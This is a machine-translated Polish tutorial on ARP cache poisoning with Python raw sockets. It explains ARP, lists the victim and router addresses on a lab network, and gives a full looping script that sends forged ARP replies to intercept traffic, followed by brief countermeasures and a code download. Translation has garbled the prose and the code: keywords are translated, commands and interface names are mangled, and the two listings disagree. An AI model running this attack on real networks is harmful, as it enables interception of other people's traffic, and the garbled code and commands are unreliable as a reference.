Atak zatruwania ARP za pomocą surowych gniazd w Pythonie

Spisie treści

Dziś mam zamiar Cię uczyć jak przeprowadzić atak zatrucia ARP (Zatrucie pamięci podręcznej ARP). Dla tego użyję surowych gniazd w pytoniecelem jest sprawdzenie, jak działają tego typu gniazda, abyś dowiedział się, jak działa ten atak lub że możesz przeprowadzić testy w swojej sieci (chociaż w sieci są już narzędzia do tego), a nie to, że używasz go do złośliwych cele.

NotatkaDzięki scapy możesz zaimplementować tę pracę szybciej i łatwiej, ale oglądając ten samouczek będziesz mógł wykorzystać wiedzę do korzystania z biblioteki i zrobić to sam, gdybyśmy zrobili to w drugą stronę, kosztowałoby to więcej. Pokazana tutaj metoda działa tylko w systemach Linux.

Małe szczegóły, które powinieneś wiedzieć
ARPJest to protokół rozwiązywania adresów znajdujący się w warstwie sieci. Jego misją jest znalezienie adresu MAC (adresu fizycznego), który odpowiada określonemu adresowi IP (adresowi sieciowemu).
Pamięć podręczna ARPKażde urządzenie ma małą pamięć, w której przechowuje translacje MAC - IP, zamierzamy to wykorzystać w tym ataku. Ta pamięć podręczna istnieje, ponieważ pozwala uniknąć konieczności proszenia o tłumaczenie za każdym razem, gdy łączymy się z innym urządzeniem.

ten Działanie protokołu ARP To proste, gdy wyślesz komuś pakiet, zostanie sprawdzona pamięć podręczna urządzenia, jeśli jest taka translacja, zajmie jej wysłanie pakietu, jeśli nie ma ARP, wyśle ​​pakiet rozgłoszeniowy (jest wyjątkowy, to ma docelowy adres MAC ff: ff : ff: ff: ff: ff), pakiet ten dotrze do wszystkich urządzeń w sieci i „zapyta”, kto ma poszukiwany adres IP, każde urządzenie po zobaczeniu specjalnego MAC odczyta pakiet, a tylko ten z adresem Wyszukiwany adres IP odpowie wskazując swój MAC, w tym momencie zostanie zapisany w pamięci podręcznej, aby nie trzeba było pytać ponownie za kilka minut.

ten Atak zatrucia ARP Służy do szpiegowania danych przechodzących przez sieć lub możemy go również użyć, aby dane nie dotarły do ​​miejsc, do których się udają. Atak ten polega na ciągłym wysyłaniu do sieci pakietów ARP wskazujących, że nasz MAC odpowiada adresowi IP ofiary i że nasz MAC jest powiązany z adresem IP routera. Musimy wysyłać paczki stale, ponieważ jest to protokół dynamiczny, więc pamięć podręczna się zmienia, może się zdarzyć, że tłumaczenie jest wymazane, jest aktualizowane o rzeczywiste dane, więc aby upewnić się, że wysyłamy paczki co jakiś czas, nie są bardzo ciężkie, więc normalnie nie będą przeciążać sieci.

NotatkaARP to protokół, który jest używany tylko w IPv4, dlatego ten atak nie jest ważny dla IPv6, ale atak zatruwania można przeprowadzić wykorzystując inny protokół, taki jak NDP, który służy do wykrywania „sąsiadów” w sieci .

Aby rozpocząć nasz przykład, musimy znać adresy IP ofiary i bramy routera, a także jego MAC, możesz użyć nmap do wykrycia aktywnych urządzeń w Twojej sieci, a MAC można łatwo uzyskać, na przykład Chcemy aby zatruć pamięć podręczną o adresie 192.168.66.2, która będzie moją ofiarą (maszyna wirtualna), wykonam w cmd lub terminalu:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-c i -n wskazują, że należy wysłać tylko jeden pakiet, każdy system operacyjny ma inny parametr. Później umieszczamy:
 harfa
Wskaże pamięć podręczną ARP, dzięki czemu możemy zobaczyć tłumaczenia, które przechowujemy (a po wykonaniu pingu mamy już tłumaczenie z ofiarą). To samo musimy zrobić z bramą routera:

Następnie umieszczę wszystkie dane, które musimy mieć pod ręką:

  • Ofiara -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Mój komputer -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Umieszczam cały kod i wyjaśniam go poniżej, działa dla Pythona w wersji 2.x, ale z małymi zmianami można go dostosować do wersji 3.x:

 importuj czas importu gniazda, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kod =" \ x08 \ x06 "commonpackage = macOrigen + kod eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 \OperationCode =" x04 "OperationCode =" \ x04 " \ x02 "SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton (" 192.168.66.1 ") ipVictima = socket.inet_aton (" 192.168.66.2 ") macuterVictouter + MacVictouterHead = eth1 + MacVictouterCompartida + nagłówek ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print („Zatruwanie pamięci podręcznych… aby zatrzymać CTRL + C”) podczas gdy True: connection.send (arpRouter) connection.Victima (arp) ) czas.sen (1)
Pierwszą rzeczą, którą robimy, jest import niezbędnych bibliotek, które nie wymagają dalszych wyjaśnień. Kontynuujmy następujące wiersze:
 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))))
Pierwsza linia tworzy gniazdo o następujących cechach:
  • PF_PAKIET: Aby wysyłać i odbierać paczki na niskim poziomie.
  • SOCK_RAW: Do korzystania z gniazd surowych.
  • gniazdo.htons (0x0800): 0x0800 zdefiniuje protokół ETH_P_IP, funkcja ntohs konwertuje format sieci na bajty w formacie odpowiednim dla naszego komputera (s oznacza krótki, czyli 16 bitów, gdyby miał l, byłoby to 32 bity).

A drugi będzie odpowiedzialny za włożenie gniazdka do „słuchania”:

  • pl33: jest to interfejs sieciowy, w którym będziemy pracować, twój może być eth0, jeśli użyjesz ifconfig, zobaczysz go (patrz obrazek poniżej).
  • gniazdo.htony (0x800): to samo, co powiedziałem wcześniej.

Linie, które widzimy poniżej, utworzą nagłówki Ethernet, w tym celu ustalamy adresy MAC i kod (ten, który umieściliśmy, należy do protokołu ARP), jeśli chcesz dowiedzieć się więcej o Ethernet, kliknij tutaj:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kod = „\ x08 \ x06” wspólny pakiet = macSource + kod eth1 = macVictima + wspólny pakiet eth2 = macRouter + wspólny pakiet
Kolejna część kodu składa pakiety ARP, aby zapoznać się ze strukturą, możesz odwiedzić poniższy link i przejść do sekcji struktury pakietów. Kod operacji \x00\x02 ma wskazywać, że jest to pakiet odpowiedzi (gdyby 1 to byłoby żądanie), a funkcja socket.inet_aton() konwertuje adres IPv4 na 32-bitowy format binarny. Jak widzieliście w poprzednim kodzie, teraz aby stworzyć pakiet, łączymy jego części.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton („192.168.66.1”) ipVictima = socket.inet_aton („192.168.66.2”) arpVictima = eth1 + współdzielony nagłówek + ipRouter + macVictima + ipVictima arpRouter = eth2 + współdzielony nagłówek + ipVictima + macRouter + ipVictima
Ostatnia część kodu pokazuje komunikat, aby wiedzieć, że działa i wchodzi w nieskończoną pętlę, która wyśle ​​pakiety, aby zatruć pamięć podręczną naszej ofiary i bramę routera, robi to co sekundę, odkąd mamy sen.
 print ("Zatruwanie pamięci podręcznych … aby zatrzymać CTRL + C"), podczas gdy True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Zobaczmy jak wygląda wykonanie programu (musimy uruchom jako użytkownik root):

A jeśli spojrzymy na pamięć podręczną ofiary, zobaczymy, że jej adres IP jest teraz powiązany z MAC napastnika:

Środki zaradcze

  • Posługiwać się statyczne tabele ARP, wpisy dodajemy ręcznie i nie zmieniamy ich.
  • Konsultować Odwróć ARP, ten protokół zwróci adres IP z MAC, więc jeśli zwróci więcej niż jeden adres IP, prawdopodobnie zostaliśmy oszukani.

Te środki wymagają minimum wiedzy, więc nie każdy będzie w stanie je wykonać, ale zapoznając się z naszymi pytaniami na temat bezpieczeństwa IT lub sekcją samouczków na pewno znajdziesz pomoc.

Jeśli chcesz kod, oto zip:

Pobierz kod ArpPoisoning.zip 579 bajtów 116 pobrań

Podobał Ci się i pomógł ten samouczek?Możesz nagrodzić autora, naciskając ten przycisk, aby dać mu pozytywny punkt
wave wave wave wave wave